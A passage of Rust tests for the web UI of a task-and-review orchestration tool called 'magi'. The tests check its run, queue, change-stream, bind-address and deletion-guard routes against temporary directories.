6726 "a loop that died must not read as running, or the operator has \
6727 nothing to press: {view}"
6728 );
6729 assert_eq!(view["owned"], false);
6730 assert!(
6731 view["last_error"]
6732 .as_str()
6733 .is_some_and(|e| e.contains("read-only file system")),
6734 "the phone is where a loop that died at 3am is visible: {view}"
6735 );
6736
6737 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6740 assert_eq!(again.status, 200, "{}", again.body);
6741 assert_eq!(
6742 again.json()["last_error"],
6743 Value::Null,
6744 "a fresh start does not keep showing why the last one died"
6745 );
6746 }
6747
6748 #[tokio::test]
6760 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6761 let home = TempDir::new().expect("temp home");
6762 let runs = home.path().join("runs");
6763 std::fs::create_dir_all(&runs).expect("runs dir");
6764 let ui = Ui::new(
6765 Queue::at(home.path().join("queue")),
6766 Questions::at(home.path().join("questions")),
6767 Talks::at(home.path().join("talks")),
6768 runs,
6769 home.path().to_path_buf(),
6770 PathBuf::from("/repo/magi"),
6771 )
6772 .with_worktrees_root(home.path().join("wt"))
6773 .with_launch(launch_knocking_on_the_way_out);
6774 let looping = ui.looping();
6775 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6776 .await
6777 .expect("bind loopback");
6778 let addr = listener.local_addr().expect("local addr");
6779 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6780 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6781
6782 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6783 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6784
6785 let bound = std::sync::Mutex::new(None);
6788 hand_over(home.path(), &looping, served, || {
6789 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6790 *bound.lock().expect("bound") = Some(attempt);
6791 Ok(())
6792 })
6793 .await
6794 .expect("hand over");
6795
6796 assert_eq!(
6797 *PARK_HEARD.lock().expect("park heard"),
6798 Some(200),
6799 "the deck must answer while the loop is parking"
6800 );
6801 let attempt = bound
6802 .lock()
6803 .expect("bound")
6804 .take()
6805 .expect("the successor was started");
6806 assert!(
6807 attempt.is_ok(),
6808 "and the address must be free by the time it is: {attempt:?}"
6809 );
6810 }
6811
6812 #[tokio::test]
6813 async fn a_newer_daemon_status_file_still_renders() {
6814 let f = Fixture::start().await;
6815 std::fs::write(
6818 f.home.path().join("daemon.json"),
6819 serde_json::json!({
6820 "schema": 2,
6821 "updated_at": Timestamp::now().to_string(),
6822 "idle": true,
6823 "surprise": { "nested": [1, 2, 3] },
6824 })
6825 .to_string(),
6826 )
6827 .expect("write daemon.json");
6828
6829 let health = f.get("/api/health").await;
6830
6831 assert_eq!(health.status, 200);
6832 assert_eq!(health.json()["daemon"]["running"], true);
6833 }
6834
6835 #[tokio::test]
6836 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6837 let f = Fixture::start().await;
6838 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6839 let broken = f.runs().join("20260902-140502-bad");
6840 std::fs::create_dir_all(&broken).expect("run dir");
6841 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6842
6843 let list = f.get("/api/runs").await;
6844 let detail = f.get("/api/runs/20260902-140502-bad").await;
6845
6846 assert_eq!(list.status, 200);
6847 let listed = list.json();
6848 let ids: Vec<&str> = listed
6849 .as_array()
6850 .expect("an array")
6851 .iter()
6852 .map(|r| r["id"].as_str().expect("an id"))
6853 .collect();
6854 assert_eq!(
6855 ids,
6856 vec!["20260902-140501-good"],
6857 "one unreadable run must not cost the operator the whole history"
6858 );
6859 assert_eq!(detail.status, 500);
6860 assert!(
6861 detail.json()["error"]
6862 .as_str()
6863 .is_some_and(|e| e.contains("run.json")),
6864 "the failure names the file to look at: {}",
6865 detail.body
6866 );
6867 let health = f.get("/api/health").await;
6871 assert_eq!(health.json()["runs_unreadable"], 1);
6872 }
6873
6874 #[tokio::test]
6875 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6876 let f = Fixture::start().await;
6877 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6878
6879 let summary = f.get("/api/runs").await.json();
6880 let row = &summary[0];
6881 assert_eq!(row["short"], "a1b2");
6882 assert_eq!(row["status"], "ready");
6883 assert_eq!(row["done"], true);
6884 assert_eq!(row["title"], "Add a web UI");
6885 assert_eq!(row["repo_name"], "magi");
6886 assert_eq!(row["judges"], 3);
6887 assert_eq!(row["winner"], Value::Null);
6888 assert_eq!(row["reviews"], 0);
6889
6890 let detail = f.get("/api/runs/a1b2").await;
6893 assert_eq!(detail.status, 200);
6894 assert_eq!(detail.json()["base_branch"], "main");
6895 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6896 }
6897
6898 #[tokio::test]
6906 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6907 let f = Fixture::start().await;
6908
6909 let mut none_run = RunState::new(
6910 PathBuf::from("/repo/magi"),
6911 "main".to_owned(),
6912 "0123456789abcdef".to_owned(),
6913 "Add a web UI".to_owned(),
6914 Config::default(),
6915 );
6916 none_run.id = "20260902-140503-none".to_owned();
6917 none_run.status = RunStatus::Ready;
6918 none_run.merge = Some(crate::run::MergeOutcome {
6919 mode: crate::config::MergeMode::None,
6920 ok: true,
6921 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
6922 });
6923 write_state(&f.runs(), &none_run);
6924
6925 let mut pr_run = RunState::new(
6926 PathBuf::from("/repo/magi"),
6927 "main".to_owned(),
6928 "0123456789abcdef".to_owned(),
6929 "Add a web UI".to_owned(),
6930 Config::default(),
6931 );
6932 pr_run.id = "20260902-140504-prcl".to_owned();
6933 pr_run.status = RunStatus::Ready;
6934 pr_run.merge = Some(crate::run::MergeOutcome {
6935 mode: crate::config::MergeMode::Pr,
6936 ok: false,
6937 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
6938 });
6939 write_state(&f.runs(), &pr_run);
6940
6941 let summary = f.get("/api/runs").await.json();
6942 let rows: std::collections::HashMap<&str, &Value> = summary
6943 .as_array()
6944 .expect("an array")
6945 .iter()
6946 .map(|r| (r["id"].as_str().expect("an id"), r))
6947 .collect();
6948 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
6949 assert_eq!(
6950 rows[none_run.id.as_str()]["unmerged_by_design"],
6951 true,
6952 "a mode-none Ready must be flagged in the list"
6953 );
6954 assert_eq!(
6955 rows[pr_run.id.as_str()]["unmerged_by_design"],
6956 false,
6957 "a Ready reached by a closed pull request is a different case"
6958 );
6959
6960 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
6961 assert_eq!(none_detail["status"], "ready");
6962 assert_eq!(none_detail["unmerged_by_design"], true);
6963
6964 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
6965 assert_eq!(pr_detail["unmerged_by_design"], false);
6966 }
6967
6968 #[tokio::test]
6973 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6974 let f = Fixture::start().await;
6975 let id = "20260902-140502-bbbb";
6979 let mut state = RunState::new(
6980 PathBuf::from("/repo/magi"),
6981 "main".to_owned(),
6982 "0123456789abcdef".to_owned(),
6983 "Add a web UI".to_owned(),
6984 Config::default(),
6985 );
6986 state.id = id.to_owned();
6987 state.status = RunStatus::Judging;
6988 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6989 let dir = f.runs().join(id);
6990 std::fs::create_dir_all(&dir).expect("run dir");
6991 std::fs::write(
6992 dir.join("run.json"),
6993 serde_json::to_string_pretty(&state).expect("serialize run"),
6994 )
6995 .expect("write run.json");
6996
6997 let cold = f.get(&format!("/api/runs/{id}")).await.json();
7003 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7004 assert_eq!(cold["live"], "unknown", "{cold}");
7005
7006 write_daemon(f.home.path(), Timestamp::now());
7009 let warm = f.get(&format!("/api/runs/{id}")).await.json();
7010 assert_eq!(warm["live"], "live", "{warm}");
7011 }
7012
7013 #[tokio::test]
7020 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7021 let f = Fixture::start().await;
7022 let id = "20260922-090000-cccc";
7023 let mut state = RunState::new(
7024 PathBuf::from("/repo/magi"),
7025 "main".to_owned(),
7026 "0123456789abcdef".to_owned(),
7027 "Review only".to_owned(),
7028 Config::default(),
7029 );
7030 state.id = id.to_owned();
7031 state.status = RunStatus::Reviewing;
7032 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7033 state.driver_pid = Some(std::process::id());
7039 state.driver_started_at = Some(
7040 crate::proc::process_started_at(std::process::id())
7041 .expect("this test process's own start time must be queryable"),
7042 );
7043 let dir = f.runs().join(id);
7044 std::fs::create_dir_all(&dir).expect("run dir");
7045 std::fs::write(
7046 dir.join("run.json"),
7047 serde_json::to_string_pretty(&state).expect("serialize run"),
7048 )
7049 .expect("write run.json");
7050
7051 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7052 assert_eq!(detail["live"], "live", "{detail}");
7053 }
7054
7055 #[tokio::test]
7061 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
7062 let f = Fixture::start().await;
7063 let id = "20260922-090100-dddd";
7064 let mut state = RunState::new(
7065 PathBuf::from("/repo/magi"),
7066 "main".to_owned(),
7067 "0123456789abcdef".to_owned(),
7068 "Review only".to_owned(),
7069 Config::default(),
7070 );
7071 state.id = id.to_owned();
7072 state.status = RunStatus::Reviewing;
7073 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7074 state.driver_pid = Some(std::process::id());
7079 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7080 let dir = f.runs().join(id);
7081 std::fs::create_dir_all(&dir).expect("run dir");
7082 std::fs::write(
7083 dir.join("run.json"),
7084 serde_json::to_string_pretty(&state).expect("serialize run"),
7085 )
7086 .expect("write run.json");
7087
7088 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7089 assert_eq!(detail["live"], "dead", "{detail}");
7090 }
7091
7092 #[test]
7096 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7097 let mut state = RunState::new(
7098 PathBuf::from("/repo/magi"),
7099 "main".to_owned(),
7100 "0123456789abcdef".to_owned(),
7101 "Review only".to_owned(),
7102 Config::default(),
7103 );
7104 state.id = "20260922-090200-dead".to_owned();
7105 state.status = RunStatus::Reviewing;
7106 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
7107 .expect("serialize list row");
7108 assert_eq!(row["status"], "reviewing");
7109 assert_eq!(row["live"], "dead", "{row}");
7110 assert!(!row["done"].as_bool().unwrap());
7111 }
7112
7113 #[tokio::test]
7114 async fn the_run_list_is_newest_first_and_honours_a_limit() {
7115 let f = Fixture::start().await;
7116 for id in [
7117 "20260902-140501-aaaa",
7118 "20260902-140502-bbbb",
7119 "20260902-140503-cccc",
7120 ] {
7121 write_run(&f.runs(), id, RunStatus::Merged);
7122 }
7123
7124 let all = f.get("/api/runs").await.json();
7125 let capped = f.get("/api/runs?limit=2").await.json();
7126
7127 assert_eq!(all[0]["id"], "20260902-140503-cccc");
7128 assert_eq!(all.as_array().map(Vec::len), Some(3));
7129 assert_eq!(capped.as_array().map(Vec::len), Some(2));
7130 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7131 }
7132
7133 #[tokio::test]
7134 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7135 let f = Fixture::start().await;
7136 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7137
7138 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7139
7140 assert_eq!(res.status, 200);
7141 assert!(
7142 res.headers
7143 .contains("content-type: text/plain; charset=utf-8"),
7144 "a browser must render it, not download it: {}",
7145 res.headers
7146 );
7147 assert!(
7151 res.body.contains("20260902-140501-a1b2"),
7152 "the report is about the run that was asked for: {}",
7153 res.body
7154 );
7155 }
7156
7157 #[tokio::test]
7158 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7159 let f = Fixture::start().await;
7160
7161 let html = f.get("/").await;
7162 let css = f.get("/app.css").await;
7163 let js = f.get("/app.js").await;
7164
7165 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7166 assert!(
7167 html.headers
7168 .contains("content-type: text/html; charset=utf-8")
7169 );
7170 assert!(css.headers.contains("content-type: text/css"));
7171 assert!(js.headers.contains("content-type: text/javascript"));
7172 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7173 }
7174
7175 #[test]
7176 fn review_rounds_label_a_distinct_verified_head() {
7177 assert!(APP_JS.contains("round.verified_head"));
7178 assert!(APP_JS.contains("verified HEAD"));
7179 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7180 }
7181
7182 #[test]
7183 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7184 assert!(APP_JS.contains("blocked: { glyph:"));
7188 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7189
7190 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7194 assert!(
7195 APP_JS.contains(
7196 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7197 ),
7198 "the note line must name what a blocked task is waiting on, not just that it is blocked"
7199 );
7200 assert!(APP_JS.contains("if (status === \"blocked\") {"));
7204
7205 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
7209 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
7210 assert!(
7211 APP_JS.contains("location.hash = \"#/questions\";"),
7212 "a question node must jump to the Questions screen, not pretend to be a task"
7213 );
7214
7215 assert!(APP_JS.contains("Resolved questions"));
7218 assert!(APP_JS.contains("r.answersList.append("));
7219 assert!(APP_CSS.contains(".task-answers"));
7220 }
7221
7222 #[test]
7223 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
7224 assert!(
7225 APP_JS.contains("round.verified_head !== round.head"),
7226 "a round that verified an earlier commit must be visibly distinct from one that \
7227 verified the head reviewers are looking at now"
7228 );
7229 assert!(
7230 APP_JS.contains("round.verified_at"),
7231 "when a check ran must be on the wire, not just which commit"
7232 );
7233 assert!(
7234 APP_JS.contains("resource_blocked"),
7235 "a command magi never got to run (shared build cache contention) must not render \
7236 the same as a command that ran and failed"
7237 );
7238 }
7239
7240 #[tokio::test]
7241 async fn the_change_stream_announces_the_current_revisions_on_connect() {
7242 let f = Fixture::start().await;
7243
7244 let mut socket = tokio::net::TcpStream::connect(f.addr)
7245 .await
7246 .expect("connect");
7247 socket
7248 .write_all(
7249 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7250 )
7251 .await
7252 .expect("write request");
7253
7254 let mut seen = String::new();
7257 let mut buf = [0u8; 1024];
7258 while !seen.contains("event: change") {
7259 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7260 .await
7261 .expect("the stream must speak within five seconds")
7262 .expect("read");
7263 assert!(read > 0, "the server closed the change stream: {seen}");
7264 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7265 }
7266
7267 assert!(
7268 seen.to_lowercase()
7269 .contains("content-type: text/event-stream"),
7270 "the browser only reconnects automatically for a real SSE stream: {seen}"
7271 );
7272 let data = seen
7273 .lines()
7274 .find_map(|l| l.strip_prefix("data:"))
7275 .expect("a data line");
7276 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7277 assert!(
7278 payload["queue_rev"].is_u64()
7279 && payload["runs_rev"].is_u64()
7280 && payload["questions_rev"].is_u64()
7281 && payload["talks_rev"].is_u64()
7282 && payload["loop_rev"].is_u64(),
7283 "the client needs one revision per store to know what to refetch, \
7284 and `talks_rev` is the only notification a standing talk gets - a \
7285 phone whose radio slept through a turn learns about it here, as \
7286 does one whose operator started the loop from another device: \
7287 {payload}"
7288 );
7289
7290 let health = f.get("/api/health").await.json();
7297 for key in [
7298 "queue_rev",
7299 "runs_rev",
7300 "questions_rev",
7301 "talks_rev",
7302 "loop_rev",
7303 ] {
7304 assert!(
7305 health[key].is_u64(),
7306 "health is the change stream's fallback and is missing `{key}`: {health}"
7307 );
7308 }
7309 }
7310
7311 #[tokio::test]
7312 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7313 let f = Fixture::start().await;
7314 let before = f.get("/api/health").await.json()["talks_rev"]
7315 .as_u64()
7316 .expect("talks_rev");
7317
7318 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7319 std::thread::sleep(Duration::from_millis(10));
7320 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7321 on_disk.turns.push(crate::talk::Turn {
7322 who: crate::talk::Who::Operator,
7323 body: "a new turn".to_owned(),
7324 at: Timestamp::now(),
7325 attachments: Vec::new(),
7326 });
7327 f.talks().put(&mut on_disk).expect("record a turn");
7328
7329 let after = f.get("/api/health").await.json()["talks_rev"]
7330 .as_u64()
7331 .expect("talks_rev");
7332 assert_ne!(
7333 before, after,
7334 "a phone must be able to notice a talk's reply without polling every store"
7335 );
7336 }
7337
7338 #[test]
7339 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7340 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7344 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7345 }
7346 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7347 assert!("everywhere".parse::<Bind>().is_err());
7348 }
7349
7350 #[test]
7351 fn an_explicit_bind_address_is_taken_verbatim() {
7352 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7353
7354 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7355
7356 assert_eq!(addr, asked);
7357 assert!(
7358 warning.is_none(),
7359 "an operator who named an address gets no lecture"
7360 );
7361 }
7362
7363 #[test]
7364 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7365 let (addr, warning) = resolve_bind(&Bind::Auto);
7366
7367 match addr {
7374 IpAddr::V4(ip) if is_tailnet(&ip) => {
7375 assert!(warning.is_none(), "a tailnet address needs no warning");
7376 }
7377 other => {
7378 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7379 let warning = warning.expect("a fallback has to explain itself");
7380 assert!(
7381 warning.contains("127.0.0.1") && warning.contains("local-only"),
7382 "the warning says what happened and what it costs: {warning}"
7383 );
7384 }
7385 }
7386 }
7387
7388 #[test]
7389 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7390 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7394 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7395 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7396 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7397 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7398 }
7399
7400 #[test]
7401 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7402 let ids = vec![
7403 "20260902-140501-aaaa".to_owned(),
7404 "20260902-140502-aabb".to_owned(),
7405 ];
7406
7407 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7408 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7409 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7410
7411 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7412 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7413 assert_eq!(short, "20260902-140502-aabb");
7414 }
7415 #[tokio::test]
7416 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7417 let fx = Fixture::start().await;
7423 let id = panel(
7424 &fx,
7425 "<img src=\"shot.png\">",
7426 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7427 );
7428
7429 let doc = fx
7431 .get(&format!("/api/questions/{id}/panel/index.html"))
7432 .await;
7433 assert_eq!(doc.status, 200, "{}", doc.body);
7434 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7435
7436 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7437 assert_eq!(sibling.status, 200, "{}", sibling.body);
7438 assert_eq!(sibling.header("content-type"), Some("image/png"));
7439 assert_eq!(
7440 sibling.header("content-security-policy"),
7441 Some(PANEL_CSP),
7442 "the sibling route must carry the same policy as the asset route"
7443 );
7444
7445 assert_eq!(
7448 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7449 200
7450 );
7451 }
7452
7453 #[test]
7454 fn runs_revision_moves_when_deleting_an_older_run() {
7455 let temp = TempDir::new().expect("tempdir");
7456 let runs = temp.path().join("runs");
7457 std::fs::create_dir_all(&runs).expect("create runs dir");
7458
7459 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7460
7461 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7462 std::thread::sleep(Duration::from_millis(10));
7463 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7464
7465 let rev_before = runs_revision(&runs);
7466 assert!(rev_before > 0);
7467
7468 let old_dir = runs.join("20260901-100000-old1");
7469 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7470
7471 let rev_after = runs_revision(&runs);
7472 assert_ne!(
7473 rev_before, rev_after,
7474 "deleting an older run must change the revision so other clients see the deletion"
7475 );
7476 }
7477
7478 fn write_state(runs: &FsPath, state: &RunState) {
7483 let dir = runs.join(&state.id);
7484 std::fs::create_dir_all(&dir).expect("run dir");
7485 std::fs::write(
7486 dir.join("run.json"),
7487 serde_json::to_string_pretty(state).expect("serialize run"),
7488 )
7489 .expect("write run.json");
7490 }
7491
7492 #[test]
7497 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7498 let temp = TempDir::new().expect("tempdir");
7499 let runs = temp.path().join("runs");
7500 std::fs::create_dir_all(&runs).expect("create runs dir");
7501 let mut state = RunState::new(
7502 PathBuf::from("/repo/magi"),
7503 "main".to_owned(),
7504 "0123456789abcdef".to_owned(),
7505 "task".to_owned(),
7506 Config::default(),
7507 );
7508 state.id = "20260902-100000-c0de".to_owned();
7509 write_state(&runs, &state);
7510
7511 let rev_idle = runs_revision(&runs);
7512 std::thread::sleep(Duration::from_millis(10));
7513 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7514 write_state(&runs, &state);
7515 let rev_started = runs_revision(&runs);
7516 assert_ne!(
7517 rev_idle, rev_started,
7518 "a seat starting must move the revision"
7519 );
7520
7521 std::thread::sleep(Duration::from_millis(10));
7522 state.seat_finished("judge-1");
7523 write_state(&runs, &state);
7524 let rev_finished = runs_revision(&runs);
7525 assert_ne!(
7526 rev_started, rev_finished,
7527 "and clearing it again must move the revision a second time"
7528 );
7529 }
7530
7531 #[tokio::test]
7532 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
7533 let fx = Fixture::start().await;
7538 let q = fx.queue();
7539
7540 let mut t = Task::new(
7541 "Task".to_owned(),
7542 "Instruction".to_owned(),
7543 PathBuf::from("/repo"),
7544 Source::Human,
7545 );
7546 t.block(
7547 vec!["20260101-000000-dead".to_owned()],
7548 Some("waiting on Task 1".to_owned()),
7549 );
7550 t.answers.push(crate::queue::AnsweredQuestion {
7551 question: "Which backend?".to_owned(),
7552 answer: "SQLite".to_owned(),
7553 });
7554 q.put(&mut t).expect("put t");
7555
7556 let res = fx.get("/api/queue").await;
7557 assert_eq!(res.status, 200);
7558 let list = res.json();
7559 let view = list
7560 .as_array()
7561 .expect("array")
7562 .iter()
7563 .find(|v| v["id"] == t.id)
7564 .expect("task in list");
7565 assert_eq!(view["status_str"], "blocked");
7566 assert_eq!(
7567 view["blocked_by"],
7568 serde_json::json!(["20260101-000000-dead"])
7569 );
7570 assert_eq!(view["block_reason"], "waiting on Task 1");
7571 assert_eq!(view["answers"][0]["question"], "Which backend?");
7572 assert_eq!(view["answers"][0]["answer"], "SQLite");
7573
7574 let res = fx
7578 .post(&format!("/api/queue/{}/hold", t.short()), None)
7579 .await;
7580 assert_eq!(res.status, 200);
7581 let held = res.json();
7582 assert_eq!(held["status_str"], "held");
7583 assert_eq!(held["blocked_by"], serde_json::json!([]));
7584 assert!(held["block_reason"].is_null());
7585 assert_eq!(held["answers"][0]["answer"], "SQLite");
7586 }
7587
7588 #[tokio::test]
7589 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7590 let fx = Fixture::start().await;
7591 let q = fx.queue();
7592
7593 let mut t1 = Task::new(
7595 "Task 1".to_owned(),
7596 "Instruction 1".to_owned(),
7597 PathBuf::from("/repo"),
7598 Source::Human,
7599 );
7600 let run_id = "20260901-000000-r111";
7601 t1.runs.push(run_id.to_owned());
7602 write_run(&fx.runs(), run_id, RunStatus::Merged);
7603 q.put(&mut t1).expect("put t1");
7604
7605 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7607 assert_eq!(res.status, 204);
7608 assert!(res.body.is_empty(), "204 No Content has no body");
7609 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7610 assert!(
7611 fx.runs().join(run_id).exists(),
7612 "run directory must not be deleted when its task is deleted"
7613 );
7614
7615 let mut t2 = Task::new(
7617 "Task 2".to_owned(),
7618 "Instruction 2".to_owned(),
7619 PathBuf::from("/repo"),
7620 Source::Human,
7621 );
7622 t2.status = TaskStatus::Running;
7623 q.put(&mut t2).expect("put t2");
7624 let mut beat = crate::daemon::Status::new();
7625 beat.current = vec![crate::daemon::Current {
7626 task: t2.id.clone(),
7627 run: "20260901-000000-r222".to_owned(),
7628 }];
7629 beat.updated_at = jiff::Timestamp::now();
7630 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7631 .expect("publish a heartbeat");
7632 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7633 assert_eq!(res.status, 409);
7634 assert!(
7635 res.json()["error"]
7636 .as_str()
7637 .unwrap()
7638 .contains("live daemon")
7639 );
7640 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7641
7642 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7648 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7649 .expect("leave a stale heartbeat");
7650 let mut t3 = Task::new(
7651 "Task 3".to_owned(),
7652 "Instruction 3".to_owned(),
7653 PathBuf::from("/repo"),
7654 Source::Human,
7655 );
7656 t3.status = TaskStatus::Running;
7657 q.put(&mut t3).expect("put t3");
7658 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7659 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7660 assert_eq!(res.status, 204);
7661 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7662 assert!(
7663 q.claim(&t3.id).is_ok(),
7664 "the stale lock went with it, so the id is claimable again"
7665 );
7666
7667 let res = fx.delete("/api/queue/nonexistent").await;
7669 assert_eq!(res.status, 404);
7670 }
7671
7672 #[tokio::test]
7673 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7674 let fx = Fixture::start().await;
7675 let runs = fx.runs();
7676
7677 let run_id = "20260901-000000-fold";
7679 let mut state = RunState::new(
7680 PathBuf::from("/repo"),
7681 "main".to_owned(),
7682 "abc".to_owned(),
7683 "instruction".to_owned(),
7684 Config::default(),
7685 );
7686 state.id = run_id.to_owned();
7687 state.status = RunStatus::Merged;
7688 state.candidates.push(crate::run::Candidate {
7689 index: 0,
7690 label: 'A',
7691 agent: "a".to_owned(),
7692 branch: "b".to_owned(),
7693 worktree: PathBuf::from("/w"),
7694 summary: String::new(),
7695 stat: String::new(),
7696 files: 1,
7697 commits: 1,
7698 empty: false,
7699 failed: None,
7700 verified_noop: None,
7701 duration_ms: 0,
7702 folded: true,
7703 });
7704 let dir = runs.join(run_id);
7705 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7706 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7707 .expect("write artifact");
7708 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7709 .expect("write run.json");
7710
7711 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7713 assert_eq!(res.status, 204);
7714 assert!(res.body.is_empty(), "204 has no body");
7715 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7716
7717 let run_running = "20260901-000000-rung";
7722 write_run(&runs, run_running, RunStatus::Prep);
7723 let mut beat = crate::daemon::Status::new();
7724 beat.current = vec![crate::daemon::Current {
7725 task: "20260901-000000-task".to_owned(),
7726 run: run_running.to_owned(),
7727 }];
7728 beat.updated_at = jiff::Timestamp::now();
7729 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7730 .expect("publish a heartbeat");
7731 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7732 assert_eq!(res.status, 409);
7733 assert!(
7734 res.json()["error"]
7735 .as_str()
7736 .unwrap()
7737 .contains("live daemon"),
7738 "the refusal must say who is holding it"
7739 );
7740 assert!(
7741 runs.join(run_running).exists(),
7742 "a run in flight keeps its directory"
7743 );
7744
7745 let run_unfolded = "20260901-000000-unfd";
7747 let mut state2 = RunState::new(
7748 PathBuf::from("/repo"),
7749 "main".to_owned(),
7750 "abc".to_owned(),
7751 "instruction".to_owned(),
7752 Config::default(),
7753 );
7754 state2.id = run_unfolded.to_owned();
7755 state2.status = RunStatus::Ready;
7756 state2.candidates.push(crate::run::Candidate {
7757 index: 0,
7758 label: 'A',
7759 agent: "a".to_owned(),
7760 branch: "b".to_owned(),
7761 worktree: PathBuf::from("/w"),
7762 summary: String::new(),
7763 stat: String::new(),
7764 files: 1,
